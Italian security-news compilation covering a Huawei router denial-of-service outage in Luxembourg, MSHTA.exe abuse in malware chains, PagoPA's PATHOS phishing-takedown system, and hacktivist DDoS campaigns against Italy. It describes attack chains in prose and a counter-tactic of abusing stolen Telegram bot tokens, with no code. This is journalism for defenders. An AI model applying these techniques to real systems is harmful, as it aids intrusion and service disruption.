Secondo le informazioni emerse, l’attacco avrebbe sfruttato un’anomalia mai documentata pubblicamente nel software di routing Huawei. Paul Rausch, responsabile comunicazione di POST Luxembourg, ha confermato che l’incidente è stato causato da un attacco denial-of-service basato su un “comportamento non pubblico e non documentato” per il quale non esisteva alcuna patch disponibile al momento dell’incidente. Il traffico malevolo avrebbe innescato un ciclo continuo di reboot dei router enterprise Huawei, causando il collasso progressivo di parti critiche dell’infrastruttura telecom nazionale.

L’aspetto più interessante è che gli investigatori lussemburghesi non ritengono che l’attacco fosse necessariamente diretto contro il Lussemburgo come bersaglio specifico. Secondo le autorità, il traffico malevolo potrebbe semplicemente essere transitato attraverso l’infrastruttura di POST Luxembourg, provocando accidentalmente il crash dei dispositivi Huawei invece della normale elaborazione e inoltro dei pacchetti. In pratica, i router avrebbero reagito al traffico anomalo entrando in una condizione di failure non prevista che li costringeva a riavviarsi ripetutamente.

Il caso riapre il dibattito sugli zero-day nelle infrastrutture critiche

Diversi elementi emersi nelle indagini portano a classificare l’incidente come un possibile zero-day, cioè una vulnerabilità sconosciuta pubblicamente e priva di patch disponibili. Secondo le fonti citate da Recorded Future News, Huawei avrebbe dichiarato di non aver mai osservato un comportamento simile presso altri clienti e di non aver avuto a disposizione in quel momento una soluzione pronta per mitigare il problema.

Il punto più controverso riguarda però l’assenza totale di disclosure pubblica.

A quasi dieci mesi dall’incidente, non risulta infatti assegnato alcun identificativo CVE pubblico relativo alla vulnerabilità sfruttata nell’attacco. Non esistono advisory aperti alla comunità di sicurezza, né dettagli tecnici che consentano agli operatori telecom di verificare eventuali esposizioni analoghe.

E questo è un problema. I CVE rappresentano infatti uno dei principali strumenti globali per tracciare vulnerabilità, coordinare attività di remediation e permettere ai team SOC e CERT di identificare rapidamente i sistemi vulnerabili.

L’assenza di disclosure pubblica crea quindi un problema potenzialmente sistemico: altri operatori che utilizzano gli stessi apparati Huawei potrebbero non sapere di essere esposti allo stesso comportamento anomalo.

Huawei e il problema della trasparenza nelle vulnerabilità enterprise

La vicenda evidenzia anche un cambiamento nel modo in cui Huawei gestisce la disclosure delle vulnerabilità enterprise. Sempre secondo Recorded Future News, mentre il vendor continua a pubblicare CVE per prodotti consumer, le disclosure pubbliche relative ai prodotti enterprise networking sono diventate sempre più rare negli ultimi anni. Huawei pubblica anche advisory di sicurezza enterprise, ma spesso attraverso portali clienti riservati invece che tramite comunicazioni pubbliche aperte alla comunità globale di sicurezza.

La situazione rischia inevitabilmente di alimentare ulteriori tensioni geopolitiche attorno alle infrastrutture telecom cinesi, tema già al centro di anni di dibattiti internazionali su supply chain security, rischio cyber e sovranità digitale.

---

• CVE, cybersecurity, denial of service, Huawei, Huawei VRP, Infrastrutture critiche, Lussemburgo, Network Security, POST Luxembourg, router enterprise, software supply chain security, telecom outage, Telecomunicazioni, Zero-day

---

---

https://www.securityinfo.it/2026/05/20/attacco-ai-router-huawei-dietro-blackout-telecom-del-lussemburgo/?utm_source=rss&utm_medium=rss&utm_campaign=attacco-ai-router-huawei-dietro-blackout-telecom-del-lussemburgo

Mag 19, 2026 Giancarlo Calzetta In evidenza, News, RSS, Tecnologia 0

---

Nonostante Internet Explorer sia ormai ufficialmente morto da tempo, uno dei suoi componenti storici continua a rappresentare un serio problema di sicurezza per gli ambienti Windows moderni. Si tratta di MSHTA.exe, il Microsoft HTML Application Host, una utility legacy ancora inclusa di default nel sistema operativo e oggi sempre più sfruttata dai cybercriminali per distribuire malware, loader e infostealer.

Secondo una nuova ricerca pubblicata da Bitdefender Labs, negli ultimi mesi si è registrato un forte aumento delle catene di attacco che utilizzano mshta.exe come componente centrale delle operazioni malevole. Il fenomeno riguarda sia campagne cybercriminali opportunistiche sia minacce più sofisticate basate su tecniche LOLBIN, cioè “Living-off-the-Land Binary”.

Il problema è particolarmente delicato perché MSHTA è un binario firmato da Microsoft e considerato legittimo dal sistema operativo. Questo consente agli attaccanti di utilizzare uno strumento trusted di Windows per eseguire codice malevolo riducendo la probabilità di essere intercettati dalle difese tradizionali.

Cos’è MSHTA e perché esiste ancora in Windows

MSHTA nasce alla fine degli anni ’90 insieme a Internet Explorer 5 come componente dedicato all’esecuzione delle cosiddette HTML Application (HTA), applicazioni sviluppate con HTML, VBScript e JavaScript. L’obiettivo originario era permettere la creazione di piccoli strumenti amministrativi o applicazioni desktop leggere basate su tecnologie web. Nonostante la progressiva scomparsa di Internet Explorer, Microsoft ha continuato a mantenere MSHTA in Windows per ragioni di backward compatibility, soprattutto nei contesti enterprise dove alcuni ambienti legacy continuano ancora a dipendere da script e applicazioni HTA.

Secondo Bitdefender, una parte limitata dell’utilizzo di MSHTA è ancora legittima. Alcuni amministratori lo impiegano per script di login, notifiche di aggiornamento o piccoli tool interni. Tuttavia, la componente malevola sta crescendo molto più rapidamente rispetto agli utilizzi leciti. Ma c’è un problema: MSHTA consente di eseguire script direttamente in memoria, scaricare contenuti remoti ed eludere diversi controlli di sicurezza sfruttando un processo firmato Microsoft.

Come gli attaccanti usano MSHTA nelle campagne malware

Secondo i ricercatori di Bitdefender, MSHTA viene oggi utilizzato soprattutto come stadio intermedio nelle moderne catene di infezione. Gli attaccanti convincono la vittima ad aprire file HTA o eseguire comandi apparentemente innocui tramite phishing, siti fake, campagne ClickFix o falsi aggiornamenti software. Una volta avviato, mshta.exe può recuperare script remoti e lanciare codice PowerShell o VBScript direttamente in memoria senza scrivere necessariamente payload evidenti sul disco.

Questo approccio permette di distribuire malware come Lumma Stealer, Amatera e altri infostealer moderni mantenendo un profilo operativo relativamente basso. Bitdefender segnala inoltre che molti dei domini contattati dalle campagne osservate utilizzano tecniche di typosquatting, simulando URL apparentemente legittimi per aumentare la credibilità dell’infrastruttura malevola. Il vantaggio per gli attaccanti è duplice. Da un lato utilizzano un binario di sistema trusted; dall’altro eseguono gran parte dell’attività malevola direttamente in memoria, riducendo la visibilità per antivirus e strumenti EDR meno evoluti.

Il ritorno dei LOLBIN e la crisi delle difese tradizionali

Il caso MSHTA conferma un trend ormai consolidato nel panorama della cybersecurity: il ritorno massiccio delle tecniche LOLBIN. Invece di introdurre malware custom facilmente identificabili, molti gruppi criminali preferiscono sfruttare componenti già presenti nel sistema operativo per mascherare le proprie attività. Windows offre numerosi strumenti di questo tipo — PowerShell, rundll32, regsvr32, certutil, wmic — e MSHTA continua a essere uno dei più efficaci.

Questo approccio complica enormemente il lavoro dei team SOC perché il comportamento osservato appare inizialmente legittimo. Bloccare completamente mshta.exe può inoltre creare problemi operativi in alcune aziende che utilizzano ancora applicazioni legacy. Secondo diversi analisti, il problema deriva anche dall’enorme eredità storica di Windows. La necessità di mantenere compatibilità con software sviluppati decenni fa continua infatti a lasciare disponibili componenti che oggi rappresentano superfici di attacco estremamente appetibili.

Perché MSHTA è ancora così efficace contro le aziende

Uno degli aspetti più interessanti evidenziati dal report riguarda la persistenza operativa di questo strumento nonostante le tecnologie moderne di sicurezza. Molte organizzazioni si concentrano infatti sulla rilevazione del malware finale, ma monitorano molto meno attentamente i processi trusted del sistema operativo.

MSHTA permette inoltre di concatenare facilmente più tecnologie offensive. Un semplice file HTA può scaricare script PowerShell, avviare payload in memoria, contattare server remoti e stabilire persistenza senza utilizzare eseguibili tradizionali. In diversi scenari, gli attaccanti utilizzano MSHTA anche come componente iniziale per campagne ransomware o compromissioni enterprise più ampie.

Il problema è aggravato dal fatto che molte campagne moderne sfruttano social engineering avanzato. Le vittime vengono indotte a eseguire manualmente comandi o aprire file apparentemente innocui tramite falsi CAPTCHA, notifiche browser, finte procedure di supporto tecnico o documenti Office malevoli.

La sfida futura: eliminare il legacy senza rompere Windows

La vicenda riapre inevitabilmente il dibattito sulla gestione delle componenti legacy all’interno di Windows. Microsoft sta progressivamente dismettendo diverse tecnologie storiche, ma molti strumenti rimangono presenti per garantire compatibilità con ambienti enterprise complessi. Nel frattempo, però, i cybercriminali continuano a sfruttare proprio queste aree grigie dell’ecosistema Windows.

Secondo Bitdefender, il numero di catene malevole che coinvolgono mshta.exe è aumentato sensibilmente negli ultimi mesi, segnale che gli attaccanti considerano ancora questo strumento estremamente efficace. Per i team di sicurezza questo significa che la semplice presenza di processi firmati Microsoft non può più essere considerata automaticamente affidabile. Servono capacità avanzate di behavioral analysis, monitoraggio delle child process, controllo delle connessioni outbound e visibilità sulle esecuzioni in memoria.

---

• Bitdefender, cybersecurity, EDR, HTA, infostealer, living-off-the-land, LOLbin, Lumma Stealer, malware loader, malware Windows, MSHTA, Phishing, PowerShell, Windows malware, Windows security

---

---

https://www.securityinfo.it/2026/05/19/mshta-lo-zombie-di-internet-explorer-che-alimenta-attacchi-su-windows/?utm_source=rss&utm_medium=rss&utm_campaign=mshta-lo-zombie-di-internet-explorer-che-alimenta-attacchi-su-windows

Intervento di Mirko Caruso (Area Security Governance, Risk & Compliance, PagoPA) alla 14ª Cyber Crime Conference, Roma, 6-7 maggio 2026

Dal marzo 2025 un’ampia platea di cittadini italiani è finita nel mirino di un fenomeno di phishing su scala industriale, che sfrutta l’autorevolezza del brand PagoPA, insieme ai loghi e alle finalità della piattaforma, per sottrarre dati anagrafici e di pagamento. Nel suo intervento alla 14ª Cyber Crime Conference, Mirko Caruso ne ha ripercorso genesi ed evoluzione, illustrando nel dettaglio la risposta operativa e la piattaforma PATHOS (Phishing Analysis and Takedown Harmonized Operation System), sviluppata dal Dipartimento Security & ICT Operations di PagoPA.

Campagne phishing contro lo Stato: i primi segnali a marzo 2025

I primi segnali sono stati intercettati nel marzo 2025 grazie a un monitoraggio basato su typosquatting e Google dorking. Il team Security di PagoPA ha rilevato, tra il 20 e il 31 marzo 2025, risultati indicizzati da Google che rimandavano a SMS di phishing a tema PagoPA, catturati e resi pubblici da servizi gratuiti di virtual number per la ricezione di SMS, come OnlineSim.

Un dettaglio rivelatore: nelle prime campagne gli attori malevoli avevano lasciato un refuso, probabilmente residuo di campagne precedenti, indicando “Netflix” come mittente di SMS che in realtà simulavano una multa per violazione del codice della strada, con redirect verso il dominio “pagopa-it.com”.

Il template iniziale conteneva errori grossolani: bastava notare l’accostamento fra il logo delle Capitanerie di Porto e il footer “ATAC S.p.A. PagoPA”. Eppure, fin dalle prime campagne emergeva una raccolta sistematica dei dati anagrafici, destinati a essere riutilizzati in campagne successive, più mirate e personalizzate.

Cittadini come fattore abilitante

Fin dai primi giorni di marzo 2025 i cittadini hanno iniziato a segnalare le campagne sospette: dapprima al canale di assistenza di primo livello (L1) e poi, dal luglio 2025, a una mailbox dedicata, truffe@pagopa.it.

Al 29 aprile 2026 PagoPA ha registrato 46.714 segnalazioni complessive, così distribuite per brand:

• pagoPA: 18.651 (di cui 14.556 via telefonate, 3.756 via email, 339 via web)
• truffe@pagopa.it: 27.060
• app IO: 856
• SEND: 145
• Self Care: 2

L’introduzione della mailbox dedicata ha ridotto drasticamente il carico sui canali di assistenza, separando il flusso delle segnalazioni di truffa da quello dell’assistenza ordinaria.

Caruso ha sottolineato come il cittadino non sia più “l’anello debole” della catena, ma una sentinella attiva del territorio digitale, capace, spesso, di intercettare nuove campagne prima ancora dei servizi commerciali di phishing intelligence.

Monitoraggio attraverso Google Trends e Google Alerts

L’analisi di Google Trends si è rivelata uno strumento di early warning particolarmente efficace. Per la query “pagopa truffa” si sono registrate impennate degli argomenti correlati “Multa” e “Notifica”, con concentrazioni geografiche iniziali in Valle d’Aosta, Sicilia e Lombardia. Particolarmente significativi i picchi sulla query anomala “pagopa netflix”, osservati il 24 e il 30 marzo 2025: coincidevano con la diffusione degli SMS che citavano impropriamente Netflix, e raccontavano di cittadini che interrogavano Google per capire cosa stesse accadendo.

Il framework operativo che ne è derivato si articola in quattro fasi: rilevazione dei segnali dai cittadini; aggregazione e analisi su Google Trends; intelligence ed early warning di Cyber Threat; azione e protezione da parte di istituzioni e aziende.

Evoluzione dei template di phishing

Caruso ha illustrato la progressiva sofisticazione dei template:

• Low-fidelity (campagne iniziali): raccolta anagrafica basilare prima del pagamento, con errori grafici evidenti.
• CTA diretta: template con sola call to action al pagamento (ad esempio “Avviso di sollecito ufficiale”), senza raccolta anagrafica preliminare.
• High-fidelity: a oggi il template più diffuso. Include riferimenti completi (sede legale, P.IVA, dicitura “Finanziato dall’Unione Europea”), loghi corporate e di piattaforma, e simula con precisione il flusso di pagamento autentico.
• Clone di pagopa.gov.it: ulteriore evoluzione high-fidelity in fase di diffusione, che riproduce fedelmente layout, colori e tipografia delle pagine istituzionali.

Timeline delle azioni di risposta

La risposta operativa si è articolata in dieci tappe principali:

1. Marzo 2025: prime analisi e richieste manuali di takedown.
2. Marzo-Aprile 2025: analisi e mappatura dei kit nel progetto open source IOK (Indicator of Kit), che permette di definire regole di matching specifiche per brand.
3. Aprile-Maggio 2025: sviluppo di un processo automatizzato per l’analisi degli IoC e la conferma come phishing PagoPA.
4. Maggio 2025: accreditamento al feed IoC del CERT-AgID.
5. Luglio 2025: apertura del canale truffe@pagopa.it per le segnalazioni spontanee dei cittadini, senza vincoli di forma.
6. Luglio-Dicembre 2025: analisi, monitoraggio, takedown e gestione automatizzati tramite script standalone.
7. Dicembre 2025: sviluppo di PATHOS, nel quale confluiscono i diversi script in una piattaforma unificata.
8. Gennaio 2026: go-live di PATHOS.
9. Gennaio-Aprile 2026: miglioramento continuo della piattaforma.

PATHOS in profondità

PATHOS si articola in tre tipologie di job automatizzati:

• Import Job: acquisisce observable dalla mailbox truffe@pagopa.it, da bulk import manuale o via API.
• Confirmation Job: verifica automaticamente l’observable confrontandolo con regole IOK e keyword matching, per confermarlo o escluderlo come IoC PagoPA, e per acquisire evidenze forensi utili al takedown.
• Takedown Job: invia la richiesta di rimozione al contatto abuse più consono, e ne monitora lo stato fino alla conferma, e oltre, per intercettare le frequenti “re-infezioni”.

La dashboard di PATHOS espone in tempo reale il numero di observable, IoC confermati, richieste di takedown inoltrate e statistiche aggregate. Il dettaglio del singolo IoC comprende screenshot, redirect chain completa, eventi notevoli (variazione della redirect chain, conferma di takedown), integrazione con Google Safe Browsing API (per verificare se l’URL è già noto ai servizi anti-phishing) e con UrlScan.io (per scansioni e capture di rete della pagina).

Per i contatti abuse, PATHOS mappa fonti autorevoli (registrar, hosting, CDN) e integra contatti “collaborativi” costruiti su base informale con i gestori di alcuni servizi SaaS. È stata sviluppata anche un’integrazione nativa con Cloudflare Abuse API per inviare segnalazioni conformi direttamente tramite l’endpoint ufficiale.

La piattaforma offre inoltre funzionalità di pattern & frequency analysis e keyword co-occurrence sui path degli URL malevoli: la ricorrenza di segmenti come pagopa/log/msdpweb/index.php
rivela l’impiego del medesimo kit di phishing distribuito su infrastrutture diverse. Una visualizzazione a grafo (al 29 aprile 2026: 1.212 domini, 3.761 URL, 2.674 redirect) permette di individuare costellazioni infrastrutturali complesse e redirect chain articolate.

Tra le funzionalità più innovative, l’estrazione e il rilevamento euristico degli indirizzi email mittenti impiegati nella diffusione del phishing a partire dalle segnalazioni dei cittadini ha permesso di identificare account compromessi di studenti di tre università italiane (studenti.uniroma1.it, studenti.unich.it, community.unipa.it), utilizzati per diffondere phishing a tema PagoPA. Tali account sono stati poi segnalati al CERT-AgID per la tempestiva risoluzione.

Build vs Buy: il risparmio per la spesa pubblica

Considerando una stima commerciale di 15 € per tentativo di takedown (su base delle quotazioni ricevute nel 2025), Caruso ha quantificato il risparmio per la spesa pubblica:

• Pre-PATHOS (22 aprile 2025 – 3 gennaio 2026): circa 87.000 € di risparmio stimato.
• Con PATHOS (1 gennaio – 25 aprile 2026): circa 61.000 € di risparmio stimato.

Trattandosi PagoPA di società pubblica, il risparmio si traduce in minore spesa pubblica complessiva.

Demotivazione degli attori malevoli

Nei casi in cui il takedown non risulti immediato, il team ha sviluppato tecniche per aumentare il costo operativo degli attori malevoli, applicando i principi della SANS Pyramid of Pain.

L’analisi dei kit ha rivelato la presenza di bot token Telegram offuscati, ricostruiti deoffuscando il codice JavaScript che li nascondeva. I token venivano impiegati dagli attori per ricevere in tempo reale i dati delle carte di pagamento estratti dalle vittime (PAN, scadenza, CVV, indirizzo IP), e per reindirizzare la vittima verso pagine di inserimento di OTP bancari, tramite pannelli di controllo. L’infrastruttura “C2” osservata è riconducibile al kit noto come Premium Panel, documentato da Intrinsec come attivo dal 2022 contro i settori bancario, logistico e telco in numerosi paesi.

Su questa base, PagoPA ha messo in atto due strategie di demotivazione:

• Demotivazione #1: triggering del rate limit delle Telegram API in modo “silenzioso” (non noto agli attori), abusando del bot token estratto. In questo modo si rende temporaneamente inutilizzabile il canale di ricezione dei dati durante i picchi di diffusione della campagna.
• Demotivazione #2: flooding in chat per innescare il blocco del bot da parte dell’utente, costringendo gli attori a generare un nuovo bot token e ad aggiornare tutti i template attivi (operazione costosa in termini di tempo).

Statistiche al 29 aprile 2026

• Observable: 54.895 (33.664 univoci)
• IoC confermati: 4.575 (3.669 in takedown)
• Richieste di takedown: 4.944 (4.369 processate, 575 skippate)
• Abuse contact univoci: 247
• Takedown job: 100
• Stato di takedown: 80,2% complessivo, con settimane al 100%
• Tempo medio di takedown: 5,3 giorni dalla prima richiesta alla conferma

Le performance variano sensibilmente a seconda di CDN e abuse contact: Cloudflare e Akamai risultano mediamente più lente nella gestione delle richieste. PATHOS calcola anche la durata media di diffusione delle campagne (1,8 giorni nella media, fino a 37 giorni nei casi più persistenti) e rileva spike e drop settimanali tramite Z-score (|Z| ≥ 2.0) e IQR fence (1,5×IQR di Tukey) su tutte le 14 settimane storiche disponibili.

Sfide tecniche

Il team ha affrontato cinque principali categorie di evasione:

Casi curiosi

Tre casi emblematici emersi dall’analisi:

• Compromissione di un vendor di cybersecurity classificato Gartner Magic Quadrant “Visionaries”: il sistema di mail marketing del vendor è stato abusato per la diffusione di phishing a tema PagoPA.
• Compromissione di un secondo vendor di cybersecurity, questa volta classificato Gartner Customers’ Choice per soluzioni antivirus: anche in questo caso il sistema di mail marketing è stato impiegato per la diffusione di campagne, con persistenza dell’abuso.
• Il caso pagamento.fittizio.it/multa39: una campagna inoltrata da una mailbox appartenente a un’università sudamericana, con un link visibile a tutti gli effetti palesemente falso da non richiedere ulteriori commenti.

Rilevanza percepita e “rumore” utile

La mailbox truffe@pagopa.it riceve anche segnalazioni di phishing non riconducibili a PagoPA: BRT, PayPal, SHEIN e molti altri “brand” noti. Per il team rappresentano “rumore” da ignorare, ma testimoniano il valore percepito del canale: i cittadini si rivolgono a PagoPA come riferimento generale per le truffe digitali, anche al di fuori del perimetro istituzionale.

Conclusioni: il “Brand Stato” come abilitatore sociale

Caruso ha chiuso l’intervento con alcune riflessioni di sistema:

• Customer base come sentinella attiva: il cittadino è un sensore del territorio digitale, in grado di rilevare minacce prima dei servizi commerciali.
• Semplicità di segnalazione: il semplice inoltro di una email a caselle dirette è infinitamente più efficace della PEC, che molte banche ancora richiedono.
• Workflow automatizzati: dietro la semplicità offerta all’utente serve un’analisi automatizzata robusta.
• Collaborazione istituzionale: il successo dipende dalla sinergia con i CERT istituzionali, le Autorità e le Forze dell’Ordine.
• Aumentare il costo per gli attaccanti: non solo bloccare URL, ma neutralizzare l’infrastruttura retrostante (Telegram, kit) per rendere le campagne economicamente insostenibili.
• Una “Phish Intelligence” collettiva nazionale: estendere il modello PATHOS ad altri Enti (Sanità, INPS, Agenzia delle Entrate) e aziende, trasformando ogni segnalazione in un early warning per l’intero ecosistema.

E un’ultima considerazione, forse la più politica: la tutela del “Brand Stato”. Quando un cittadino subisce una truffa su un portale che imita Amazon, perde fiducia in Amazon. Quando la subisce su un portale che imita PagoPA, SPID o INPS, perde fiducia nello Stato. Dimostrare che il “Brand Stato” interviene attivamente e con tempestività è fondamentale per non respingere i cittadini agli sportelli fisici, per timore delle frodi online. La sicurezza diventa, a tutti gli effetti, un vero e proprio abilitatore sociale.

L’intervento si è chiuso con il ringraziamento agli oltre 40.000 cittadini le cui segnalazioni spontanee continuano a rendere possibile il funzionamento del sistema, oltre che ai colleghi del Dipartimento Security & ICT Operations di PagoPA, al CERT-AgID, e alla Polizia Postale e delle Comunicazioni.

https://www.ictsecuritymagazine.com/articoli/campagne-phishing-pagopa/

C’è un numero che, più di ogni altro, racconta la singolarità italiana nel panorama globale della cybersicurezza: 54%. È la quota degli attacchi informatici registrati in Italia nel primo semestre del 2025 attribuiti all’hacktivism. Nel resto del mondo, quella stessa categoria pesa appena l’8%. Non si tratta di un errore statistico, né di una distorsione metodologica. È la fotografia di un Paese che ha sviluppato, suo malgrado, una relazione del tutto peculiare con una delle minacce più sottovalutate dell’era digitale.

Un’anomalia che i numeri rendono impossibile ignorare

Nel primo semestre 2025 si contano 280 incidenti informatici gravi in Italia, su un totale mondiale di 2.755: il 10,2% del totale globale. Una quota sproporzionata rispetto a qualsiasi indicatore demografico o economico del Paese. La traiettoria è inequivocabile: si è passati dal 3,4% del 2021 al 7,6% del 2022, fino al 9,9% del 2024 e all’attuale 10,2%. Un’escalation costante che nessuna contingenza episodica può spiegare da sola.

Il paradosso più stridente è strutturale: in Italia gli attacchi classificati come hacktivism rappresentano il 54% del totale, mentre il cybercrime “tradizionale” si ferma al 46%. Nel resto del mondo il rapporto è esattamente invertito: il cybercrime vale l’87% degli incidenti, l’hacktivism appena l’8%. L’Italia è letteralmente l’unico grande Paese occidentale in cui la politica batte il profitto come motore degli attacchi informatici.

Che cosa si intende per hacktivism e perché è cambiato tutto

L’hacktivism non è una novità. Il termine descrive l’utilizzo di tecniche informatiche per promuovere cause politiche o sociali, ed è almeno dai tempi di Anonymous, collettivo internazionale decentralizzato fondato nel 2003, che questa forma di attivismo digitale occupa le cronache. Ma ciò che un tempo era rappresentato quasi esclusivamente da Anonymous ha ripreso vigore con le azioni dimostrative portate avanti da molti gruppi filo-russi come NoName057, tornati in primo piano con i conflitti in corso.

Il cambiamento qualitativo è profondo. L’hacktivism modifica le regole del gioco proprio perché riduce ai minimi termini i margini di negoziazione con gli attaccanti, che agiscono senza logiche di profitto e per i quali non esiste un prezzo da pagare per ottenere la cessazione dell’attività ostile. Se il ransomware ha sempre una geometria contrattuale (paghi e forse riotieni l’accesso), l’hacktivism punta alla visibilità, non al denaro. Non c’è riscatto. C’è solo il messaggio.

Il protagonista: NoName057(16) e la guerra ibrida contro l’Italia

Il collettivo che più di ogni altro ha trasformato l’Italia in un bersaglio è NoName057(16). Nato nel marzo 2022, il gruppo è il threat actor hacktivista più prolifico al mondo secondo Radware: nel 2024 ha rivendicato 4.767 attacchi DDoS, distaccando nettamente tutti gli altri collettivi (il secondo classificato, RipperSec, si è fermato a 1.388 attacchi). Secondo i dati di Yarix (Var Group), che ha mappato 97 gruppi hacktivisti globali nel 2024, NoName057 ha totalizzato oltre il 55% degli attacchi nei settori Energia & Utility, Sanità, Banca & Finanza e Trasporti & Logistica.

Il meccanismo operativo è semplice nella forma ma efficace nell’impatto: effettua prevalentemente attacchi dimostrativi di tipo DDoS, che poi rivendica con messaggi sul proprio canale Telegram, sfruttando le risorse computazionali altrui per dirigere attacchi contro organizzazioni occidentali e campagne di comunicazione per diffondere le proprie attività attraverso i social.

La logica di targeting è dichiarata e di cristallina semplicità geopolitica. Ogni dichiarazione pubblica di un esponente istituzionale italiano a sostegno dell’Ucraina diventa il pretesto per una nuova campagna. A marzo 2023, dopo che la premier Meloni aveva confermato il supporto di Roma a Kiev, NoName057 aveva preso di mira il sito del governo, della Camera e dei ministeri di Difesa, Esteri e Trasporti, oltre ad Atac, Atm e l’aeroporto di Bologna, pubblicando sul canale Telegram: “I nostri missili DDoS per i siti russofobi italiani sono maturi.”

Il 5 febbraio 2025, durante una cerimonia all’Università di Aix-Marseille, il Presidente Mattarella aveva paragonato l’aggressione russa all’Ucraina all’espansionismo del Terzo Reich. La portavoce del ministero degli Esteri russo, Maria Zakharova, aveva promesso “conseguenze.” Le conseguenze arrivarono puntuali: a partire dal 17 febbraio l’Italia subì oltre dodici giorni consecutivi di attacchi contro le proprie infrastrutture digitali. Tra i bersagli colpiti figuravano Intesa Sanpaolo, Banca Monte dei Paschi di Siena, gli aeroporti di Milano Malpensa e Linate, diverse compagnie di trasporto pubblico locale, i porti di Taranto, Trieste e Genova, per poi estendersi a ministeri, forze dell’ordine, regioni, comuni e aziende strategiche come Leonardo, Banca d’Italia ed Edison.

Il salto di qualità più recente è ancora più preoccupante: NoName057 ha aperto un canale Telegram in lingua italiana, pubblicando notizie politiche selezionate come esempi di “ostilità verso la Russia.” Questo segna un’espansione della campagna di propaganda che ora punta direttamente a reclutare seguaci in Italia, non solo a colpirla.

Le vittime preferite: istituzioni pubbliche e infrastrutture critiche

Nel primo semestre del 2025 la categoria più colpita in Italia è stata quella governativa, militare e delle forze dell’ordine, con il 38% del totale degli incidenti: un dato che rappresenta il 279% del totale degli eventi avvenuti in tutto il 2024 verso questo settore, con una crescita del 600% rispetto allo stesso periodo dell’anno precedente. Un incremento che non ha eguali in nessun altro comparto.

Quasi quattro attacchi su dieci in Italia hanno colpito enti governativi, forze dell’ordine o strutture militari. Un segnale chiaro che la nostra infrastruttura pubblica è percepita come vulnerabile e, quindi, appetibile.

Al secondo posto per tipologia di vittime si trova il settore trasporti e logistica, con il 17% degli incidenti: in soli sei mesi una volta e mezzo il totale degli incidenti cyber avvenuti nell’intero 2024. Non è casuale: colpire mobilità e filiere logistiche significa moltiplicare l’impatto sociale e mediatico degli attacchi, trasformando un evento tecnico in un fatto politico percepibile dai cittadini.

La tecnica: il DDoS come arma politica

La tecnica prevalente negli incidenti in Italia nel primo semestre del 2025 è stata il DDoS, con un peso del 54%, a fronte del 9% rilevato a livello globale. Il dato tecnico è inseparabile da quello politico: il DDoS è la forma d’attacco preferita degli hacktivist perché è visibile, economicamente accessibile, scalabile tramite reti di volontari e soprattutto comunicativamente efficace.

Strumenti come DDoSia, sviluppato dallo stesso NoName057, consentono agli utenti di unire la potenza computazionale dei propri dispositivi per colpire un obiettivo comune, rendendo l’attacco accessibile a un pubblico ampio e motivato ideologicamente.

L’Italia però non è solo bersaglio passivo. Anonymous Italia ha risposto alle campagne di NoName057 con operazioni di defacement contro siti web russi, inserendo messaggi come “Abbiamo hackerato il tuo sito per combattere la guerra ingiusta di invasione dell’Ucraina,” trasformando il cyberspazio italiano in un teatro attivo del conflitto digitale.

La “stranezza” italiana: perché gli attacchi fanno meno danni, ma arrivano a segno di più

C’è una contraddizione apparente nei dati che merita attenzione critica. In Italia la quota di incidenti con gravità “critica” è del 7%, contro il 29% nel mondo; quelli con impatto “medio” rappresentano il 60% del totale, contro il 18% globale. Sembrerebbe una buona notizia: gli attacchi che subisce l’Italia sono meno devastanti. Ma il Clusit invita a non fraintendere.

Il fatto che il report consideri solo gli attacchi andati a segno lascia un’impressione inquietante: in Italia si va in sofferenza di fronte ad attacchi DDoS che altri Paesi riescono a gestire con relativa tranquillità. La bassa severità non è indice di buona difesa: è indice della tipologia di attacco. Un DDoS che rende inaccessibile per ore il sito di un ministero non ruba dati, ma è andato comunque a segno. E il fatto che accada così spesso, in un Paese del G7, è in sé un problema strutturale.

Oltre la Russia: il panorama degli hacktivist in evoluzione

Sarebbe riduttivo limitare l’analisi al solo vettore filorusso. Il team di Cyber Intelligence di Yarix ha censito 97 gruppi hacktivisti attivi a livello globale nel 2024, di cui NoName057 è il più attivo, responsabile di oltre il 55% degli attacchi nei settori energia, sanità, banca, finanza e trasporti.

Il fenomeno si sta però stratificando. Collettivi come GlorySec, che dichiara fedeltà ai valori occidentali e si definisce “anarco-capitalista,” o SiegedSec, sciolto nel luglio 2024 ammettendo il crimine informatico, mostrano come l’hacktivism sia ormai uno spazio ideologicamente plurale, dove convivono agende politiche opposte. La competizione non è più solo tra hacktivisti filo-russi e filo-ucraini: è uno spazio caotico in cui si mescolano propaganda statale, ideologie radicali e semplice opportunismo mediatico.

L’ENISA, nel suo rapporto sul periodo luglio 2024-giugno 2025, ha registrato 4.875 incidenti nell’Unione Europea, di cui il 76,7% classificato come DDoS, in larghissima parte attribuibile ad hacktivisti.

La risposta istituzionale: l’ACN e i limiti del sistema

L’Agenzia per la Cybersicurezza Nazionale (ACN) è intervenuta sistematicamente per coordinare le operazioni di mitigazione, avvisare le strutture coinvolte e offrire supporto tecnico durante le campagne di attacco. La risposta operativa include il monitoraggio del traffico anomalo, l’avvio di procedure di mitigazione e la coordinazione con le agenzie di sicurezza partner.

Sul fronte degli eventi internazionali, qualche segnale di miglioramento è emerso: in febbraio 2026, un tentativo coordinato di attacco contro i siti della Farnesina e dell’ecosistema digitale di Milano-Cortina 2026 è stato individuato e neutralizzato in fase preventiva, senza sottrazione di dati sensibili, grazie al rafforzamento delle strutture interne di sicurezza.

Ma la sfida rimane strutturale. Nel 2025 i casi trattati dalla Polizia Postale hanno raggiunto quota 51.560, con 9.250 casistiche specifiche di attacchi informatici e oltre 49.000 alert diramati per prevenire minacce ai sistemi di interesse nazionale. Un numero che dà la misura non solo della gravità del fenomeno, ma anche del carico operativo che grava su strutture che devono ancora completare la propria transizione verso una postura di sicurezza adeguata alla minaccia attuale.

Perché l’Italia è un’anomalia e cosa ci dice del futuro

L’Italia è un’anomalia globale nell’hacktivism per una convergenza di fattori che non sono accidentali. Il posizionamento geopolitico, membro NATO, sostenitore della causa ucraina, Paese con un ruolo attivo nel dibattito europeo sulla sicurezza, la rende un bersaglio ideologicamente “meritevole” agli occhi dei collettivi filorussi. Il profilo istituzionale, con siti governativi, militari e di pubblica utilità spesso sottodimensionati sul fronte della difesa informatica rispetto ai loro omologhi nordeuropei, la rende un bersaglio tecnicamente accessibile. La vivacità mediatica del sistema politico, con dichiarazioni pubbliche che si traducono in casus belli digitali nel giro di ore, la rende un bersaglio narrativamente efficace.

